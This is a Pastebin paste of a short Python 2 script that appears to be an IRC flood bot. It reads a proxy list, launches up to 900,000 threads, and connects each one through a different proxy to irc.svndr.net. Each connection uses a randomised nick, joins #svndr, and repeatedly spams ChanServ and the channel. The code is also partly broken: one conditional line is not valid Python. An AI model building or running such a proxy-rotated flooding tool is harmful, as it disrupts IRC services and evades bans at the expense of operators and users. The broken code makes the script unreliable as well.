Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socks
- import random
- import threading
- import time
- import string
- server = "irc.svndr.net"
- port = 6667
- proxylist = "proxy.txt"
- channels = ["#svndr"]
- i = 0
- fil = open(proxylist, "r")
- lines = fil.readlines()
- fil.close()
- random.shuffle(lines)
- class MyThread(threading.Thread):
- def run(self):
- number = random.randint(1,99999)
- ircsock = socks.socksocket()
- choice = proxy.split(":")
- pport = choice[1]
- pserver = choice[0]
- lol = 1
- pport = pport.replace("\n", "")
- try:
- ircsock.setproxy(socks.PROXY_TYPE_HTTP, pserver, int(pport))
- ircsock.connect((server, port))
- print("joined");
- time.sleep(5)
- ircsock.send("USER "+ nick +" "+ nick +" "+ nick +" :"+ nick +"\n")
- ircsock.send("NICK "+ nick +"\n")
- ircsock.send("USER "+ nick +" "+ nick +" "+ nick +" :"+ nick +"\n")
- ircsock.send("NICK "+ nick +"\n")
- while 1:
- ircmsg = ircsock.recv(1024)
- ircmsg = ircmsg.strip('\n\r')
- ircmsg = ircmsg.lower()
- number = random.randint(5, 10)
- chn = random.choice(channels)
- if ircmsg.find("ping :") != -1:
- if ircmsg.find("timeout") != -1 or ircmsg.find("quit") != -1:
- print("Left")
- else:
- ping = ircmsg.split("ping :")
- ircsock.send("PONG "+ ping[1] +"\n")
- ircsock.send("JOIN "+ chn +"\n")
- for x in xrange(10):
- ircsock.send('PRIVMSG chanserv :help\r\n')
- # ircsock.send('PRIVMSG nickname :message\r\n')
- if <help>.startswith("!chanserv")
- ircsock.send('PRIVMSG ' + chn + ' :' + "" + '\r\n')
- ircsock.send("JOIN "+ chn +"\n")
- # ircsock.send("PART "+ chn +"\n")
- time.sleep(0.5)
- except:
- ircsock.close()
- for x in xrange(900000):
- nicklength = random.randint(3,6)
- number = random.randint(3,6)
- numbertwo = random.randint(6,10)
- nick = "SVNDR".join(random.choice(string.letters) for _ in range(nicklength))
- proxy = lines[i]
- print("Proxy #")
- print(i)
- i = i + 1
- MyThread().start()
- time.sleep(0.05)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement